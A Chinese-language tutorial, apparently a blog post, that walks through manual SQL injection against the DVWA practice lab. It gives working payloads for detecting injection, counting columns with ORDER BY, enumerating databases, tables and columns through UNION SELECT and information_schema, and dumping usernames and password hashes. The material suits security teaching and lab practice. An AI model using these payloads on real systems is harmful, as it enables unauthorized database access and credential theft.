什么是SQL注入?
SQL Injection,即SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。
Sql 注入帶來的威脅主要有如下幾點
- 猜解后台數據庫,這是利用最多的方式,盜取網站的敏感信息。
- 繞過認證,列如繞過驗證登錄網站后台。
- 注入可以借助數據庫的存儲過程進行提權等操作
自動化的注入神器sqlmap固然好用,但還是要掌握一些手工注入的思路,下面簡要介紹手工注入(非盲注)的步驟。
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解SQL查詢語句中的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.下載數據
我們使用有現成漏洞的dvwa實驗環境來進行注入,選擇安全級別為LOW
查看SQL注入測試頁面的源碼:
通過源碼我們發現它對參數沒有任何的過濾 直接帶入數據庫進行查詢 我們猜測肯定給存在字符型sql注入
開始工作:
1. 判斷是否存在注入,注入是字符型還是數字型
輸入1,
查詢成功。
輸入1’and ‘1’ =’2,查詢失敗,返回結果為空:
輸入1’or ‘1234 ’=’1234,查詢成功:
說明存在字符型注入
接下來我們猜解sql查詢語句中的字段數 (逐漸增加order by后面的數字的大小進行猜測)
當輸入3#時就出現了錯誤,說明只有兩列的數據 查詢的表的字段數是2
union 運算符可以將兩個或兩個以上 select 語句的查詢結果集合合並成一個結果集合顯示,即執行聯合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為 2,接下來就好辦了。
輸入1' union select database(),user()#
進行查詢 :
- database()將會返回當前網站所使用的數據庫名字.
- user()將會返回執行當前查詢的用戶名.
同理我們再輸入 1' union select version(),@@version_compile_os#
進行查詢:
version() 獲取當前數據庫版本.
@@version_compile_os 獲取當前操作系統
進行回顯:
接下來我們嘗試獲取 dvwa 數據庫中的表名。information_schema
是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器所有數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名為 tables 的數據表,該表包含兩個字段 table_name 和 table_schema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。
我們輸入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
進行查詢:
通過上圖返回信息,我們再獲取到:dvwa 數據庫有兩個數據表,分別是 guestbook 和 users .
接下來我們獲取表中的字段名 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
其中,user和password正是我們想要的
下面我們獲得字段中的數據 1' union select user,password from users#
通過md5解密即可得到密碼